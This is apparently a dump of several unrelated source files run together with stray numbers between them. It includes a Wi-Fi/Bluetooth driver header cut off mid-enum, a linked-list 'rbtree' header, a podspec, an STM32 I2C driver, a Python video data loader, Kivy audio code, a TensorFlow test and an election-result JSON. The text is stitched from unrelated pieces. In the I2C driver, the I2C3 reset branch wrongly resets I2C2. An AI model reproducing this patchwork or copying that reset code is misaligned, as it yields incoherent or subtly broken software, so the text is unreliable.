0x09, // Unknown Upper layer OP code BT_STATUS_UNKNOWN_OPCODE_L = 0x0a, // Unknown Lower layer OP code BT_STATUS_PARAMETER_FORMAT_ERROR_U = 0x0b, // Wrong parameters sent by upper layer. BT_STATUS_PARAMETER_FORMAT_ERROR_L = 0x0c, // bt fw parameter format is not consistency BT_STATUS_PARAMETER_OUT_OF_RANGE_U = 0x0d, // uppery layer parameter value is out of range BT_STATUS_PARAMETER_OUT_OF_RANGE_L = 0x0e, // bt fw parameter value is out of range BT_STATUS_UNKNOWN_STATUS_L = 0x0f, // bt returned an defined status code BT_STATUS_UNKNOWN_STATUS_H = 0x10, // driver need to do error handle or not handle-well. BT_STATUS_WRONG_LEVEL = 0x11, // should be under passive level BT_STATUS_NOT_IMPLEMENT = 0x12, // op code not implemented yet BT_STATUS_BT_STACK_OP_SUCCESS = 0x13, // bt stack op execution success BT_STATUS_BT_STACK_NOT_SUPPORT = 0x14, // stack version not support this. BT_STATUS_BT_STACK_SEND_HCI_EVENT_FAIL = 0x15, // send hci event fail BT_STATUS_BT_STACK_NOT_BIND = 0x16, // stack not bind wifi driver BT_STATUS_BT_STACK_NO_RSP = 0x17, // stack doesn't have any rsp. BT_STATUS_MAX }BT_CTRL_STATUS,*PBT_CTRL_STATUS; typedef enum _BT_OPCODE_STATUS{ BT_OP_STATUS_SUCCESS = 0x00, // Success BT_OP_STATUS_VERSION_MISMATCH = 0x01, BT_OP_STATUS_UNKNOWN_OPCODE = 0x02, BT_OP_STATUS_ERROR_PARAMETER = 0x03, BT_OP_STATUS_MAX }BT_OPCODE_STATUS,*PBT_OPCODE_STATUS; typedef struct _BT_REQ_CMD{ UCHAR opCodeVer; UCHAR OpCode; USHORT paraLength; UCHAR pParamStart[1]; } BT_REQ_CMD, *PBT_REQ_CMD; typedef struct _BT_RSP_CMD{ USHORT status; USHORT paraLength; UCHAR pParamStart[1]; } BT_RSP_CMD, *PBT_RSP_CMD; typedef struct _BT_H2C{ u1Byte opCodeVer:4; u1Byte reqNum:4; u1Byte opCode; u1Byte buf[1]; }BT_H2C, *PBT_H2C; typedef struct _BT_EXT_C2H{ u1Byte extendId; u1Byte statusCode:4; u1Byte retLen:4; u1Byte opCodeVer:4; u1Byte reqNum:4; u1Byte buf[1]; }BT_EXT_C2H, *PBT_EXT_C2H; typedef struct _BT_STACK_COEX_INFO{ u1Byte opCode; u1Byte opStatus; u1Byte bufLen; u1Byte buf[1]; }BT_STACK_COEX_INFO, *PBT_STACK_COEX_INFO; typedef struct _HAL_REQ_CMD{ UCHAR OpCodeVer; UCHAR OpCode; USHORT ParaLength; UCHAR pParamStart[1]; } HAL_REQ_CMD, *PHAL_REQ_CMD; typedef struct _HAL_RSP_CMD{ USHORT Status; USHORT ParaLength; UCHAR pParamStart[1]; } HAL_RSP_CMD, *PHAL_RSP_CMD; // // Type of action going on in DbgWorkItem. // #define DBG_NOOP 0 #define DBG_READ_MAC_1BYTE 1 #define DBG_READ_MAC_2BYTE 2 #define DBG_READ_MAC_4BYTE 3 #define DBG_WRITE_MAC_1BYTE 4 #define DBG_WRITE_MAC_2BYTE 5 #define DBG_WRITE_MAC_4BYTE 6 #define DBG_READ_BB_CCK 7 #define DBG_WRITE_BB_CCK 8 #define DBG_READ_BB_OFDM 9 #define DBG_WRITE_BB_OFDM 10 #define DBG_READ_RF 11 #define DBG_WRITE_RF 12 #define DBG_READ_EEPROM_1BYTE 13 #define DBG_WRITE_EEPROM_1BYTE 14 #define DBG_READ_EEPROM_2BYTE 15 #define DBG_WRITE_EEPROM_2BYTE 16 #define DBG_OUT_CMD 17 #define DBG_SWITCH_ANTENNA 26 #define DBG_SET_TXPWR_FOR_ALL_RATE 27 // // <Roger_Notes> The following DBG IO components are ONLY for 92S. // Please do NOT revise the macro definitions(i.e., compatible with DLL export functions) // 2008.11.17. // #define DBG_WRITE_EFUSE_1BYTE 53 #define DBG_READ_EFUSE_1BYTE 54 #define DBG_READ_EFUSE_2BYTE 55 #define DBG_READ_EFUSE_4BYTE 56 #define DBG_UPDATE_EFUSE 57 #define DBG_WRITE_BT_EFUSE_1BYTE 64 #define DBG_READ_BT_EFUSE_1BYTE 65 #define DBG_READ_BT_EFUSE_2BYTE 66 #define DBG_READ_BT_EFUSE_4BYTE 67 #define DBG_UPDATE_BT_EFUSE 68 #define DBG_UPDATE_BT_EFUSE_UTILIZE 69 #define DBG_UPDATE_BT_EFUSE_MAP 70 #define DBG_BT_CONTROL 75 // Forward declaration. typedef struct _ADAPTER ADAPTER, *PADAPTER; VOID NDBG_Init( IN PADAPTER pAdapter ); VOID NDBG_Halt( IN PADAPTER pAdapter ); NDIS_STATUS NDBG_BtControl( IN PADAPTER pAdapter, IN PVOID InformationBuffer, IN ULONG InformationBufferLength, OUT PULONG BytesRead, OUT PULONG BytesNeeded ); BOOLEAN NDBG_GetBtFwVersion( IN PADAPTER pAdapter, IN pu2Byte pBtRealFwVer, IN pu1Byte pBtFwVer ); VOID NDBG_FwC2hBtControl( IN PADAPTER Adapter, IN pu1Byte tmpBuf, IN u1Byte length ); VOID NDBG_StackBtCoexNotify( IN PADAPTER Adapter, IN u1Byte stackOpCode, IN u1Byte stackOpStatus, IN pu1Byte tmpBuf, IN u1Byte length ); BOOLEAN DbgReadMacReg( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth ); BOOLEAN DbgWriteMacReg( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth, IN ULONG ulRegValue ); BOOLEAN DbgReadBbReg( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulBeOFDM ); BOOLEAN DbgWriteBbReg( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulBeOFDM, IN ULONG ulRegValue ); BOOLEAN DbgReadRfReg( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth ); BOOLEAN DbgWriteRfReg( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth, IN ULONG ulRegValue ); BOOLEAN DbgReadEeprom( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth ); BOOLEAN DbgWriteEeprom( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth, IN ULONG ulRegValue ); BOOLEAN DbgOutCmd( IN PADAPTER pAdapter, IN PUCHAR ulOutCmd, IN ULONG ulOutCmdWidth ); BOOLEAN DbgReadEFuse( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth ); BOOLEAN DbgWriteEFuse( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth, IN ULONG ulRegValue ); BOOLEAN DbgUpdateEFuse( IN PADAPTER pAdapter ); BOOLEAN DbgReadBTEFuse( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth ); BOOLEAN DbgWriteBTEFuse( IN PADAPTER pAdapter, IN ULONG ulRegOffset, IN ULONG ulRegDataWidth, IN ULONG ulRegValue ); BOOLEAN DbgUpdateBTEFuse( IN PADAPTER pAdapter ); BOOLEAN DbgSetTxPowerForAllRate( IN PADAPTER pAdapter, IN ULONG ulTxPowerData ); BOOLEAN DbgSetTxAntenna( IN PADAPTER pAdapter, IN u1Byte selectedAntenna ); #endif
7,059
956
<gh_stars>100-1000 /* SPDX-License-Identifier: BSD-3-Clause * * Copyright 2017 NXP * */ #ifndef __DPAA_RBTREE_H #define __DPAA_RBTREE_H #include <rte_common.h> /************/ /* RB-trees */ /************/ /* Linux has a good RB-tree implementation, that we can't use (GPL). It also has * a flat/hooked-in interface that virtually requires license-contamination in * order to write a caller-compatible implementation. Instead, I've created an * RB-tree encapsulation on top of linux's primitives (it does some of the work * the client logic would normally do), and this gives us something we can * reimplement on LWE. Unfortunately there's no good+free RB-tree * implementations out there that are license-compatible and "flat" (ie. no * dynamic allocation). I did find a malloc-based one that I could convert, but * that will be a task for later on. For now, LWE's RB-tree is implemented using * an ordered linked-list. * * Note, the only linux-esque type is "struct rb_node", because it's used * statically in the exported header, so it can't be opaque. Our version doesn't * include a "rb_parent_color" field because we're doing linked-list instead of * a true rb-tree. */ struct rb_node { struct rb_node *prev, *next; }; struct dpa_rbtree { struct rb_node *head, *tail; }; #define DPAA_RBTREE { NULL, NULL } static inline void dpa_rbtree_init(struct dpa_rbtree *tree) { tree->head = tree->tail = NULL; } #define QMAN_NODE2OBJ(ptr, type, node_field) \ (type *)((char *)ptr - offsetof(type, node_field)) #define IMPLEMENT_DPAA_RBTREE(name, type, node_field, val_field) \ static inline int name##_push(struct dpa_rbtree *tree, type *obj) \ { \ struct rb_node *node = tree->head; \ if (!node) { \ tree->head = tree->tail = &obj->node_field; \ obj->node_field.prev = obj->node_field.next = NULL; \ return 0; \ } \ while (node) { \ type *item = QMAN_NODE2OBJ(node, type, node_field); \ if (obj->val_field == item->val_field) \ return -EBUSY; \ if (obj->val_field < item->val_field) { \ if (tree->head == node) \ tree->head = &obj->node_field; \ else \ node->prev->next = &obj->node_field; \ obj->node_field.prev = node->prev; \ obj->node_field.next = node; \ node->prev = &obj->node_field; \ return 0; \ } \ node = node->next; \ } \ obj->node_field.prev = tree->tail; \ obj->node_field.next = NULL; \ tree->tail->next = &obj->node_field; \ tree->tail = &obj->node_field; \ return 0; \ } \ static inline void name##_del(struct dpa_rbtree *tree, type *obj) \ { \ if (tree->head == &obj->node_field) { \ if (tree->tail == &obj->node_field) \ /* Only item in the list */ \ tree->head = tree->tail = NULL; \ else { \ /* Is the head, next != NULL */ \ tree->head = tree->head->next; \ tree->head->prev = NULL; \ } \ } else { \ if (tree->tail == &obj->node_field) { \ /* Is the tail, prev != NULL */ \ tree->tail = tree->tail->prev; \ tree->tail->next = NULL; \ } else { \ /* Is neither the head nor the tail */ \ obj->node_field.prev->next = obj->node_field.next; \ obj->node_field.next->prev = obj->node_field.prev; \ } \ } \ } \ static inline type *name##_find(struct dpa_rbtree *tree, u32 val) \ { \ struct rb_node *node = tree->head; \ while (node) { \ type *item = QMAN_NODE2OBJ(node, type, node_field); \ if (val == item->val_field) \ return item; \ if (val < item->val_field) \ return NULL; \ node = node->next; \ } \ return NULL; \ } #endif /* __DPAA_RBTREE_H */
1,347
5,169
{ "name": "CSRevealingViewController", "version": "0.1.0", "summary": "An omni-directional swipe-to-reveal ViewController.", "description": " Most swipe-to-reveal implementations allow only for left\n or right navigation. I wanted to swipe up or down or left\n or right, so I rolled my own.\n", "homepage": "http://github.com/josefdlange/CSRevealingViewController", "license": "MIT", "authors": { "<NAME>": "<EMAIL>" }, "social_media_url": "http://twitter.com/josefdlange", "platforms": { "ios": "7.0" }, "source": { "git": "https://github.com/josefdlange/CSRevealingViewController.git", "tag": "0.1.0" }, "source_files": "CSRevealingViewController", "requires_arc": true }
325
449
<filename>platform/stm32f429/i2c.c #include <platform/stm32f429/i2c.h> #include <platform/stm32f429/rcc.h> /* I2C register mask */ #define CR1_CLEAR_MASK ((uint16_t)0xFBF5) /* Flag mask */ #define FLAG_MASK ((uint32_t)0x00FFFFFF) void __USER_TEXT i2c_reset(uint32_t i2cx) { /* TODO: assertion */ if (i2cx == I2C1_BASE) { RCC_APB1PeriphResetCmd(RCC_APB1RSTR_I2C1RST, 1); RCC_APB1PeriphResetCmd(RCC_APB1RSTR_I2C1RST, 0); } else if (i2cx == I2C2_BASE) { RCC_APB1PeriphResetCmd(RCC_APB1RSTR_I2C2RST, 1); RCC_APB1PeriphResetCmd(RCC_APB1RSTR_I2C2RST, 0); } else if (i2cx == I2C3_BASE) { RCC_APB1PeriphResetCmd(RCC_APB1RSTR_I2C2RST, 1); RCC_APB1PeriphResetCmd(RCC_APB1RSTR_I2C2RST, 0); } } void __USER_TEXT i2c_config(uint32_t i2cx, struct i2c_cfg* cfg) { uint16_t tmpreg = 0, freqrange = 0; uint16_t result = 0x04; uint32_t pclk1 = 8000000; struct rcc_clocks clocks; /* TODO: assertion */ tmpreg = *I2C_CR2(i2cx); tmpreg &= (uint16_t)~((uint16_t)I2C_CR2_FREQ_ALL); RCC_GetClocksFreq(&clocks); pclk1 = clocks.pclk1_freq; freqrange = (uint16_t)(pclk1 / 1000000); tmpreg |= freqrange; *I2C_CR2(i2cx) = tmpreg; *I2C_CR1(i2cx) &= (uint16_t)~((uint16_t)I2C_CR1_PE); tmpreg = 0; if (cfg->clock_speed <= 100000) { result = (uint16_t)(pclk1 / (cfg->clock_speed << 1)); if (result < 0x04) result = 0x04; tmpreg |= result; *I2C_TRISE(i2cx) = freqrange + 1; } else { if (cfg->duty_cycle == I2C_DutyCycle_2) { result = (uint16_t)(pclk1 / (cfg->clock_speed * 3)); } else { result = (uint16_t)(pclk1 / (cfg->clock_speed * 25)); result |= I2C_DutyCycle_16_9; } if ((I2C_CCR_CCR(result)) == 0) result |= (uint16_t)0x0001; tmpreg |= (uint16_t)(result | I2C_CCR_FS); *I2C_TRISE(i2cx) = (uint16_t)(((freqrange * (uint16_t)300) / (uint16_t)1000) + (uint16_t)1); } *I2C_CCR(i2cx) = tmpreg; *I2C_CR1(i2cx) |= I2C_CR1_PE; tmpreg = *I2C_CR1(i2cx); tmpreg &= CR1_CLEAR_MASK; tmpreg |= (uint16_t)((uint32_t)cfg->mode | cfg->ack); *I2C_CR1(i2cx) = tmpreg; *I2C_OAR1(i2cx) = (cfg->acknowledged_address | cfg->own_address); } void __USER_TEXT i2c_cmd(uint32_t i2cx, uint8_t enable) { /* TODO: assertion */ if (enable != 0) *I2C_CR1(i2cx) |= I2C_CR1_PE; else *I2C_CR1(i2cx) &= (uint16_t)~((uint16_t)I2C_CR1_PE); } void __USER_TEXT i2c_generate_start(uint32_t i2cx, uint8_t enable) { /* TODO: assertion */ if (enable != 0) *I2C_CR1(i2cx) |= I2C_CR1_START; else *I2C_CR1(i2cx) &= (uint16_t)~((uint16_t)I2C_CR1_START); } uint8_t __USER_TEXT i2c_get_flag(uint32_t i2cx, uint32_t flag) { uint8_t bitstatus = 0; volatile uint32_t i2creg = 0, i2cxbase = 0; /* TODO: assertion */ i2cxbase = (uint32_t)i2cx; i2creg = flag >> 28; flag &= FLAG_MASK; if (i2creg != 0) { i2cxbase += 0x14; } else { flag = (uint32_t)(flag >> 16); i2cxbase += 0x18; } if (((*(volatile uint32_t *)i2cxbase) & flag) != (uint32_t)0) bitstatus = 1; else bitstatus = 0; return bitstatus; } void __USER_TEXT i2c_acknowledge_config(uint32_t i2cx, uint8_t enable) { /* TODO: assertion */ if (enable != 0) *I2C_CR1(i2cx) |= I2C_CR1_ACK; else *I2C_CR1(i2cx) &= (uint16_t)~((uint16_t)I2C_CR1_ACK); } void __USER_TEXT i2c_send_7bit_address(uint32_t i2cx, uint8_t address, uint8_t direction) { /* TODO: assertion */ if (direction != I2C_Direction_Transmitter) address |= I2C_OAR1_ADD(0); else address &= (uint8_t)~((uint8_t)I2C_OAR1_ADD(0)); *I2C_DR(i2cx) = address; } void __USER_TEXT i2c_generate_stop(uint32_t i2cx, uint8_t enable) { /* TODO: assertion */ if (enable != 0) *I2C_CR1(i2cx) |= I2C_CR1_STOP; else *I2C_CR1(i2cx) &= (uint16_t)~((uint16_t)I2C_CR1_STOP); } void __USER_TEXT i2c_software_reset_cmd(uint32_t i2cx, uint8_t enable) { /* TODO: assertion */ if (enable != 0) *I2C_CR1(i2cx) |= I2C_CR1_SWRST; else *I2C_CR1(i2cx) &= (uint16_t)~((uint16_t)I2C_CR1_SWRST); } void __USER_TEXT i2c_send(uint32_t i2cx, uint8_t data) { /* TODO: assertion */ *I2C_DR(i2cx) = data; } uint8_t __USER_TEXT i2c_receive(uint32_t i2cx) { /* TODO: assertion */ return (uint8_t)(*I2C_DR(i2cx)); }
2,278
377
<reponame>kiyoon/video-long-term-feature-banks # Copyright (c) Facebook, Inc. and its affiliates. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ############################################################################## """ Multi-process data loading for EPIC-Kitchens. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import atexit import logging import numpy as np from core.config import config as cfg import datasets.data_input_helper as data_input_helper logger = logging.getLogger(__name__) execution_context = None def create_data_input( input_db, expected_data_size, num_processes, num_workers, split, batch_size, crop_size=cfg.TRAIN.CROP_SIZE, ): # create a global execution context for the dataloader which contains the # pool for each thread and each pool has num_processes and a shared data list global execution_context def init(worker_ids): global execution_context logging.info('Creating the execution context for ' 'worker_ids: {}, batch size: {}'.format( worker_ids, batch_size)) execution_context = data_input_helper._create_execution_context( execution_context, _init_pool, worker_ids, expected_data_size, num_processes, batch_size) atexit.register(_shutdown_pools) # in order to get the minibatch, we need some information from the db class def get_minibatch_out( input_db, worker_id, batch_size, db_indices, crop_size): """ Get minibatch info from EpicDataset and perform the actual minibatch loading. """ pools = execution_context.pools shared_data_lists = execution_context.shared_data_lists curr_pool = pools[worker_id] shared_data_list = shared_data_lists[worker_id] minibatch_info = input_db.get_minibatch_info(db_indices) return _load_and_process_images( worker_id, curr_pool, shared_data_list, crop_size, minibatch_info, input_db) return (init, get_minibatch_out) def _load_and_process_images( worker_id, curr_pool, shared_data_list, crop_size, minibatch_info, input_db ): """Construct a minibatch given minibatch_info.""" (image_paths, labels, split_list, spatial_shift_positions, lfb) = minibatch_info if crop_size == cfg.TEST.CROP_SIZE: curr_shared_list_id = len(shared_data_list) - 1 else: curr_shared_list_id = 0 map_results = curr_pool.map_async( get_clip_from_source, zip( [i for i in range(0, len(image_paths))], image_paths, split_list, [crop_size for i in range(0, len(image_paths))], spatial_shift_positions, [curr_shared_list_id for i in range(0, len(image_paths))], ) ) out_images = [] out_labels = [] for index in map_results.get(): if index is not None: np_arr, = shared_data_list[curr_shared_list_id][index] tmp_np_arr = np.reshape( np_arr, (3, cfg.TRAIN.VIDEO_LENGTH, crop_size, crop_size)) out_images.append(tmp_np_arr) out_labels.append(labels[index]) out_images = data_input_helper.convert_to_batch(out_images) out_labels = np.array(out_labels).astype(np.int32) out_lfb = np.array(lfb).astype(np.float32) return (out_images, out_labels, out_lfb) def get_clip_from_source(args): (index, image_paths, split, crop_size, spatial_shift_pos, list_id) = args """Load images/data from disk and pre-process data.""" try: imgs = data_input_helper.retry_load_images(image_paths, cfg.IMG_LOAD_RETRY) imgs, _ = data_input_helper.images_and_boxes_preprocessing( imgs, split, crop_size, spatial_shift_pos) np_arr = shared_data_list[list_id][index][0] np_arr = np.reshape(np_arr, imgs.shape) np_arr[:] = imgs except Exception as e: logger.error('get_image_from_source failed: ' '(index, image_path, split): {} {} {}'.format (index, image_paths, split)) logger.info(e) return None return index def _init_pool(data_list): """ Each pool process calls this initializer. Load the array to be populated into that process's global namespace. """ global shared_data_list shared_data_list = data_list def _shutdown_pools(): data_input_helper._shutdown_pools(execution_context.pools)
2,120
1,746
package org.sikuli.support.ide; public interface IButton { String TEXT = "TEXT"; // the text replaced by the button String FILE = "FILE"; // the image file for button thumbnail String LINE = "LINE"; // the line in script String LOFF = "LOFF"; // the offset in the line String PATT = "PATT"; // Pattern }
92
32,544
<reponame>DBatOWL/tutorials package employee; public class Employee { String name; String emailAddress; int yearOfBirth; }
50
348
<reponame>chamberone/Leaflet.PixiOverlay {"nom":"Maranwez","circ":"1ère circonscription","dpt":"Ardennes","inscrits":57,"abs":27,"votants":30,"blancs":3,"nuls":0,"exp":27,"res":[{"nuance":"LR","nom":"<NAME>","voix":21},{"nuance":"REM","nom":"<NAME>","voix":6}]}
108
632
# # Copyright © 2014-2015 <NAME> # Copyright © 2009- The Spyder development Team # # Licensed under the terms of the MIT License # (see LICENSE.txt for details) """ Provides QtWebEngineWidgets classes and functions. """ from . import PYQT5, PYQT6, PYSIDE2, PYSIDE6, PythonQtError # To test if we are using WebEngine or WebKit WEBENGINE = True if PYQT5: try: from PyQt5.QtWebEngineWidgets import QWebEnginePage from PyQt5.QtWebEngineWidgets import QWebEngineView from PyQt5.QtWebEngineWidgets import QWebEngineSettings # Based on the work at https://github.com/spyder-ide/qtpy/pull/203 from PyQt5.QtWebEngineWidgets import QWebEngineProfile except ImportError: from PyQt5.QtWebKitWidgets import QWebPage as QWebEnginePage from PyQt5.QtWebKitWidgets import QWebView as QWebEngineView from PyQt5.QtWebKit import QWebSettings as QWebEngineSettings WEBENGINE = False elif PYQT6: from PyQt6.QtWebEngineWidgets import * from PyQt6.QtWebEngineCore import QWebEnginePage from PyQt6.QtWebEngineCore import QWebEngineSettings from PyQt6.QtWebEngineCore import QWebEngineProfile elif PYSIDE6: from PySide6.QtWebEngineWidgets import * from PySide6.QtWebEngineCore import QWebEnginePage from PySide6.QtWebEngineCore import QWebEngineSettings from PySide6.QtWebEngineCore import QWebEngineProfile elif PYSIDE2: from PySide2.QtWebEngineWidgets import QWebEnginePage from PySide2.QtWebEngineWidgets import QWebEngineView from PySide2.QtWebEngineWidgets import QWebEngineSettings # Based on the work at https://github.com/spyder-ide/qtpy/pull/203 from PySide2.QtWebEngineWidgets import QWebEngineProfile else: raise PythonQtError('No Qt bindings could be found')
687
23,901
<reponame>deepneuralmachine/google-research # coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for yoto.problems.vae.""" from absl.testing import parameterized import tensorflow.compat.v1 as tf from yoto.problems import vae as vae_mod class SimpleMlpModel(tf.keras.Model): def __init__(self, dimensions): super(SimpleMlpModel, self).__init__() self._model = tf.keras.models.Sequential([ tf.keras.layers.Dense(dimension) for dimension in dimensions]) def call(self, inputs, inputs_extra): if inputs_extra is not None: inputs = tf.concat((inputs, inputs_extra), axis=1) return self._model(inputs), {} class VaeYotoTest(parameterized.TestCase, tf.test.TestCase): @parameterized.parameters( dict(observation_dims=5, latent_dims=2, conditioning_size=12, batch_size=12, should_fail=True), dict(observation_dims=5, latent_dims=2, conditioning_size=12, batch_size=12, should_fail=False),) def test_sizes(self, observation_dims, latent_dims, conditioning_size, batch_size, should_fail): def create_encoder(): return SimpleMlpModel((observation_dims + conditioning_size, 2 * latent_dims)) def create_decoder(): return SimpleMlpModel((latent_dims + conditioning_size, 2 * observation_dims)) vae = vae_mod.ConditionalVaeProblem( create_encoder, create_decoder, latent_dims) vae.initialize_model() input_data = tf.ones((batch_size, observation_dims)) if conditioning_size: if should_fail: conditioning_data = tf.ones((batch_size + 1, conditioning_size)) else: conditioning_data = tf.ones((batch_size, conditioning_size)) else: conditioning_data = None if should_fail: with self.assertRaises(tf.errors.InvalidArgumentError): vae.losses_and_metrics({"image": input_data}, conditioning_data) else: losses, _ = vae.losses_and_metrics({"image": input_data}, conditioning_data) self.assertIn("reconstruction_loss", losses) self.assertIn("kl_loss", losses) self.assertEqual(losses["reconstruction_loss"].shape.as_list(), [batch_size,]) self.assertEqual(losses["kl_loss"].shape.as_list(), [batch_size,]) if __name__ == "__main__": tf.test.main()
1,331
417
<gh_stars>100-1000 /*************************************************************************** file : damned.cpp created : Wed Jan 8 18:31:16 CET 2003 copyright : (C) 2002-2004 <NAME> email : <EMAIL> version : $Id: damned.cpp,v 1.37.2.2 2008/11/09 17:50:19 berniw Exp $ ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ #ifdef _WIN32 #include <windows.h> #endif #include <stdio.h> #include <stdlib.h> #include <math.h> #include <tgf.h> #include <track.h> #include <car.h> #include <raceman.h> #include <robottools.h> #include <robot.h> #include "driver.h" #define NBBOTS 10 static const char* botname[NBBOTS] = { "damned 1", "damned 2", "damned 3", "damned 4", "damned 5", "damned 6", "damned 7", "damned 8", "damned 9", "damned 10" }; static const char* botdesc[NBBOTS] = { "damned 1", "damned 2", "damned 3", "damned 4", "damned 5", "damned 6", "damned 7", "damned 8", "damned 9", "damned 10" }; static Driver *driver[NBBOTS]; static void initTrack(int index, tTrack* track, void *carHandle, void **carParmHandle, tSituation *s); static void newRace(int index, tCarElt* car, tSituation *s); static void drive(int index, tCarElt* car, tSituation *s); static int pitcmd(int index, tCarElt* car, tSituation *s); static void shutdown(int index); static int InitFuncPt(int index, void *pt); static void endRace(int index, tCarElt *car, tSituation *s); // Module entry point. extern "C" int damned(tModInfo *modInfo) { int i; // Clear all structures. memset(modInfo, 0, 10*sizeof(tModInfo)); for (i = 0; i < NBBOTS; i++) { modInfo[i].name = strdup(botname[i]); // name of the module (short). modInfo[i].desc = strdup(botdesc[i]); // Description of the module (can be long). modInfo[i].fctInit = InitFuncPt; // Init function. modInfo[i].gfId = ROB_IDENT; // Supported framework version. modInfo[i].index = i; // Indices from 0 to 9. } return 0; } // Module interface initialization. static int InitFuncPt(int index, void *pt) { tRobotItf *itf = (tRobotItf *)pt; // Create robot instance for index. driver[index] = new Driver(index); itf->rbNewTrack = initTrack; // Give the robot the track view called. itf->rbNewRace = newRace; // Start a new race. itf->rbDrive = drive; // Drive during race. itf->rbPitCmd = pitcmd; // Pit commands. itf->rbEndRace = endRace; // End of the current race. itf->rbShutdown = shutdown; // Called before the module is unloaded. itf->index = index; // Index used if multiple interfaces. return 0; } // Called for every track change or new race. static void initTrack(int index, tTrack* track, void *carHandle, void **carParmHandle, tSituation *s) { driver[index]->initTrack(track, carHandle, carParmHandle, s); } // Start a new race. static void newRace(int index, tCarElt* car, tSituation *s) { driver[index]->newRace(car, s); } // Drive during race. static void drive(int index, tCarElt* car, tSituation *s) { driver[index]->drive(s); } // Pitstop callback. static int pitcmd(int index, tCarElt* car, tSituation *s) { return driver[index]->pitCommand(s); } // End of the current race. static void endRace(int index, tCarElt *car, tSituation *s) { driver[index]->endRace(s); } // Called before the module is unloaded. static void shutdown(int index) { delete driver[index]; }
1,598
564
package com.amy.monthweekmaterialcalendarview; import android.support.annotation.NonNull; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import me.drakeet.multitype.ItemViewBinder; /** * Created by Administrator on 2017/12/23 0023. */ public class SingleItemViewBinder extends ItemViewBinder<SingleItem, SingleItemViewBinder.ViewHolder> { @NonNull @Override protected ViewHolder onCreateViewHolder(@NonNull LayoutInflater inflater, @NonNull ViewGroup parent) { View root = inflater.inflate(R.layout.item_single_item, parent, false); return new ViewHolder(root); } @Override protected void onBindViewHolder(@NonNull ViewHolder holder, @NonNull SingleItem singleItem) { holder.textView.setText("当前是第"+holder.getLayoutPosition()+"个"); } static class ViewHolder extends RecyclerView.ViewHolder { TextView textView; ViewHolder(View itemView) { super(itemView); textView= (TextView) itemView.findViewById(R.id.tv_position); } } }
435
13,889
<filename>kivy/core/audio/audio_gstplayer.py ''' Audio Gstplayer =============== .. versionadded:: 1.8.0 Implementation of a VideoBase with Kivy :class:`~kivy.lib.gstplayer.GstPlayer` This player is the preferred player, using Gstreamer 1.0, working on both Python 2 and 3. ''' from kivy.lib.gstplayer import GstPlayer, get_gst_version from kivy.core.audio import Sound, SoundLoader from kivy.logger import Logger from kivy.compat import PY2 from kivy.clock import Clock from os.path import realpath if PY2: from urllib import pathname2url else: from urllib.request import pathname2url Logger.info('AudioGstplayer: Using Gstreamer {}'.format( '.'.join(map(str, get_gst_version())))) def _on_gstplayer_message(mtype, message): if mtype == 'error': Logger.error('AudioGstplayer: {}'.format(message)) elif mtype == 'warning': Logger.warning('AudioGstplayer: {}'.format(message)) elif mtype == 'info': Logger.info('AudioGstplayer: {}'.format(message)) class SoundGstplayer(Sound): @staticmethod def extensions(): return ('wav', 'ogg', 'mp3', 'm4a', 'flac', 'mp4') def __init__(self, **kwargs): self.player = None super(SoundGstplayer, self).__init__(**kwargs) def _on_gst_eos_sync(self): Clock.schedule_once(self._on_gst_eos, 0) def _on_gst_eos(self, *dt): if self.loop: self.player.stop() self.player.play() else: self.stop() def load(self): self.unload() uri = self._get_uri() self.player = GstPlayer(uri, None, self._on_gst_eos_sync, _on_gstplayer_message) self.player.load() def play(self): # we need to set the volume everytime, it seems that stopping + playing # the sound reset the volume. self.player.set_volume(self.volume) self.player.play() super(SoundGstplayer, self).play() def stop(self): self.player.stop() super(SoundGstplayer, self).stop() def unload(self): if self.player: self.player.unload() self.player = None def seek(self, position): self.player.seek(position / self.length) def get_pos(self): return self.player.get_position() def _get_length(self): return self.player.get_duration() def on_volume(self, instance, volume): self.player.set_volume(volume) def _get_uri(self): uri = self.source if not uri: return if '://' not in uri: uri = 'file:' + pathname2url(realpath(uri)) return uri SoundLoader.register(SoundGstplayer)
1,198
348
<reponame>chamberone/Leaflet.PixiOverlay {"nom":"Miéry","circ":"1ère circonscription","dpt":"Jura","inscrits":124,"abs":52,"votants":72,"blancs":15,"nuls":1,"exp":56,"res":[{"nuance":"REM","nom":"<NAME>","voix":31},{"nuance":"LR","nom":"<NAME>","voix":25}]}
106
1,681
